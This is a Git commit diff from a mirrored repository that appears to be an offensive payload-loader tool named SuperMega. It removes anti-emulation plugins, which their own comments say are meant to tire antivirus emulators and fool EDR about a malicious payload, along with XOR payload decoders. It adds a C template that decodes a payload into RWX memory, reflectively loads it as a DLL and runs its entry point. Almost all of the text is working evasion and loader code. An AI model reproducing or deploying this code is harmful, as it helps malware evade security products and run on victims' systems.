mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: move carrier plugins around
This commit is contained in:
@@ -1,4 +0,0 @@
|
||||
|
||||
void antiemulation() {
|
||||
// None
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
|
||||
#define ALLOC_NUM 256
|
||||
|
||||
|
||||
/* This will allocate ALLOC_NUM RW memory regions,
|
||||
set them to RX, and free them
|
||||
|
||||
The idea is that the AV emulator will probably give up, either because
|
||||
of used memory is above maximum, or amount of instructions, or
|
||||
number of API calls, or time.
|
||||
|
||||
It hopefully also makes the EDR think this program is doing some
|
||||
kind of interpreter or JIT compilation, and not a malicious payload.
|
||||
*/
|
||||
|
||||
void antiemulation() {
|
||||
void* allocs[ALLOC_NUM];
|
||||
DWORD result;
|
||||
|
||||
for(int i=0; i<4; i++) {
|
||||
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
allocs[n] = VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
0x3000,
|
||||
p_RW
|
||||
);
|
||||
}
|
||||
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
if (VirtualProtect(
|
||||
allocs[n],
|
||||
1000,
|
||||
p_RX,
|
||||
&result) == 0)
|
||||
{
|
||||
return 7;
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(200);
|
||||
|
||||
BOOL bSuccess;
|
||||
for(int n=0; n<ALLOC_NUM; n++) {
|
||||
bSuccess = VirtualFree(
|
||||
allocs[n],
|
||||
1000,
|
||||
0x00008000); // MEM_RELEASE
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
|
||||
|
||||
/* Busy sleep with time register
|
||||
|
||||
This function will busy sleep for the given amount of time.
|
||||
It uses the kernel time register, which is not affected by
|
||||
the sleep function (memory address 0x7ffe0004).
|
||||
|
||||
This may defeat the AV emulator (maximum time).
|
||||
*/
|
||||
|
||||
int get_time_raw() {
|
||||
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
|
||||
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
|
||||
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
|
||||
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
|
||||
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
|
||||
return kernelTime;
|
||||
}
|
||||
|
||||
|
||||
int sleep_ms(DWORD sleeptime) {
|
||||
DWORD start = get_time_raw();
|
||||
while (get_time_raw() - start < sleeptime) {}
|
||||
}
|
||||
|
||||
|
||||
void antiemulation() {
|
||||
sleep_ms(3000);
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
|
||||
dest[n] = supermega_payload[n];
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
// Single byte XOR key
|
||||
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
|
||||
dest[n] = supermega_payload[n];
|
||||
dest[n] = dest[n] ^ {{XOR_KEY}};
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
// Multibyte XOR
|
||||
char *key = "{{XOR_KEY2}}";
|
||||
for ( int i = 0; i < {{PAYLOAD_LEN}}; i++ ) {
|
||||
dest[i] = supermega_payload[i] ^ key[i % 2];
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||
@@ -0,0 +1,220 @@
|
||||
#include <Windows.h>
|
||||
#include <time.h>
|
||||
|
||||
|
||||
char *supermega_payload;
|
||||
|
||||
#define p_RW 0x04
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* DLL loader
|
||||
|
||||
This code will load a DLL (not a shellcode!) into memory,
|
||||
resolve its imports, apply relocations, and execute it.
|
||||
|
||||
Loader is based on:
|
||||
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
|
||||
with some patches to make it work here
|
||||
*/
|
||||
|
||||
|
||||
typedef struct BASE_RELOCATION_BLOCK {
|
||||
DWORD PageAddress;
|
||||
DWORD BlockSize;
|
||||
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
|
||||
|
||||
typedef struct BASE_RELOCATION_ENTRY {
|
||||
USHORT Offset : 12;
|
||||
USHORT Type : 4;
|
||||
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||
|
||||
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
|
||||
void mymemcpy(void* dest, const void* src, size_t n) {
|
||||
char* d = (char*)dest;
|
||||
const char* s = (const char*)src;
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
d[i] = s[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
|
||||
// get this module's image base address
|
||||
//PVOID imageBase = GetModuleHandleA(NULL);
|
||||
|
||||
// dllBase is expected to be page-aligned
|
||||
if ((DWORD_PTR)dllBase & 0xFFF)
|
||||
{
|
||||
MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
|
||||
}
|
||||
|
||||
// get pointers to in-memory DLL headers
|
||||
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
|
||||
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
|
||||
|
||||
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
|
||||
|
||||
/*
|
||||
// VirtualProtect the sections correctly
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD protect;
|
||||
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
{
|
||||
protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
{
|
||||
protect = PAGE_READWRITE;
|
||||
}
|
||||
else
|
||||
{
|
||||
protect = PAGE_READONLY;
|
||||
}
|
||||
|
||||
DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
|
||||
DWORD_PTR sectionSize = section->SizeOfRawData;
|
||||
DWORD oldProtect;
|
||||
VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
|
||||
section++;
|
||||
}
|
||||
*/
|
||||
|
||||
// Overwrite PE header: First 0x1000 bytes
|
||||
/*
|
||||
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
|
||||
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// get delta between this module's image base and the DLL that was read into memory
|
||||
|
||||
// copy over DLL image headers to the newly allocated space for the DLL
|
||||
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// copy over DLL image sections to the newly allocated space for the DLL
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
|
||||
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
|
||||
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
|
||||
section++;
|
||||
}
|
||||
*/
|
||||
|
||||
// perform image base relocations
|
||||
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
|
||||
DWORD relocationsProcessed = 0;
|
||||
|
||||
while (relocationsProcessed < relocations.Size)
|
||||
{
|
||||
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
|
||||
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
|
||||
|
||||
for (DWORD i = 0; i < relocationsCount; i++)
|
||||
{
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
|
||||
|
||||
// THIZ
|
||||
if (relocationEntries[i].Type == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
|
||||
//DWORD_PTR addressToPatch = 0;
|
||||
//ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
|
||||
DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
|
||||
//DWORD_PTR value = *addressToPatch;
|
||||
|
||||
*addressToPatch += deltaImageBase;
|
||||
//mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
MessageBoxW(0, L"AAA2", L"AAA2", MB_OK);
|
||||
|
||||
// resolve import address table
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
|
||||
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
|
||||
LPCSTR libraryName;
|
||||
HMODULE library = NULL;
|
||||
|
||||
while (importDescriptor->Name != NULL)
|
||||
{
|
||||
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
|
||||
library = LoadLibraryA(libraryName);
|
||||
|
||||
if (library)
|
||||
{
|
||||
PIMAGE_THUNK_DATA thunk = NULL;
|
||||
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
|
||||
|
||||
while (thunk->u1.AddressOfData != NULL)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
|
||||
{
|
||||
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
|
||||
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
|
||||
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
|
||||
thunk->u1.Function = functionAddress;
|
||||
}
|
||||
++thunk;
|
||||
}
|
||||
}
|
||||
|
||||
importDescriptor++;
|
||||
}
|
||||
|
||||
*ret_dllBase = (DWORD_PTR)dllBase;
|
||||
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
// char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||
//char* dest = VirtualAlloc(0, 0x7000, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||
char* dest = supermega_payload;
|
||||
DWORD protect, oldProtect;
|
||||
protect = PAGE_EXECUTE_READWRITE;
|
||||
VirtualProtect((LPVOID)dest, 0x7000, protect, &oldProtect);
|
||||
|
||||
MessageBoxW(0, L"ok virtualprotect", L"AAA2", MB_OK);
|
||||
|
||||
|
||||
// FROM supermega_payload[]
|
||||
// TO dest[]
|
||||
// Including decryption
|
||||
{{ plugin_decoder }}
|
||||
|
||||
|
||||
MessageBoxW(0, L"ok copy", L"AAA2", MB_OK);
|
||||
|
||||
|
||||
// Load the DLL at dest
|
||||
DWORD_PTR dllBase;
|
||||
DWORD aoep;
|
||||
load_dll( (void *) dest, &dllBase, &aoep);
|
||||
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
|
||||
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user